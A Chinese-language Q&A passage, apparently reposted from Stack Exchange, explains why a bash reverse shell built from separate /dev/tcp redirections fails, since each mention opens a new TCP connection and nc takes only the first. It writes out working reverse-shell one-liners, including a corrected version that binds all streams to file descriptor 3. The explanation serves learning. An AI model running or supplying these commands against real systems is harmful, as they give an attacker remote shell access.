为何不使用&的重定向方式搭建反向shell无法正常工作?
故障核心原因
问题根源是Bash对/dev/tcp/虚拟设备的实现逻辑:每在重定向规则中写一次/dev/tcp/ip/port,Bash就会单独发起一个全新的TCP连接到目标地址,不会复用已经建立的同目标连接。
你执行的失败命令如下:
bash -i 1> /dev/tcp/ip/port 2> /dev/tcp/ip/port 0< /dev/tcp/ip/port
命令启动时Bash会先后创建3个完全独立的TCP连接,分别对接主机A的监听端口:
- 第一个连接绑定到标准输出(文件描述符1),专门传输命令的正常输出
- 第二个连接绑定到标准错误(文件描述符2),专门传输命令的报错输出
- 第三个连接绑定到标准输入(文件描述符0),专门传输远端输入的指令
现象解释
你在主机A使用的nc -lvv port默认只会接收第一个接入的TCP连接,后续接入的连接会被直接忽略,不会进行读写操作:
- 第一个负责传输标准输出的连接被nc正常接收,所以主机A能看到命令回显
- 负责传标准错误、标准输入的后两个连接没有被nc接管,你在nc界面输入的内容只会通过第一个已建立的连接发送,但Bash并没有把第一个连接绑定到标准输入,自然收不到任何输入内容。
你单独测试输入、输出重定向能正常工作的原因也很简单:
- 单独测输入重定向时,命令里只出现1次
/dev/tcp/ip/port,只建立1个TCP连接绑定到标准输入,nc接收这唯一的连接后,输入的内容自然能传到Bash - 单独测输出重定向时,命令里出现2次
/dev/tcp/ip/port,建立2个TCP连接,nc只接收第一个绑定到标准输出的连接,所以能看到正常输出,只是报错走第二个未被nc接收的连接,不会显示在nc界面而已。
你最开始能正常建立反向shell的写法:
bash -i >& /dev/tcp/ip/port 0>&1
全程只出现了1次/dev/tcp/ip/port,Bash只会建立1个TCP连接,后续的>&是把标准错误重定向到这个已打开的连接,0>&1是把标准输入也重定向到同一个连接,三个文件描述符完全复用同一个TCP通道,nc只需要处理这一个连接就能同时收发数据,所以可以正常工作。
如果要显式分开写输入输出重定向又要保证正常工作,需要先打开一次TCP连接绑定到自定义文件描述符,再让所有标准流都复用这个连接,示例命令如下:
# 3<> 代表以读写双向模式打开TCP连接绑定到文件描述符3,后续所有重定向都指向fd3,不会新建连接 bash -i 3<> /dev/tcp/ip/port 1>&3 2>&3 0<&3
内容的提问来源于stack exchange,提问作者Eustia Yosuga
相关产品推荐
相关产品推荐

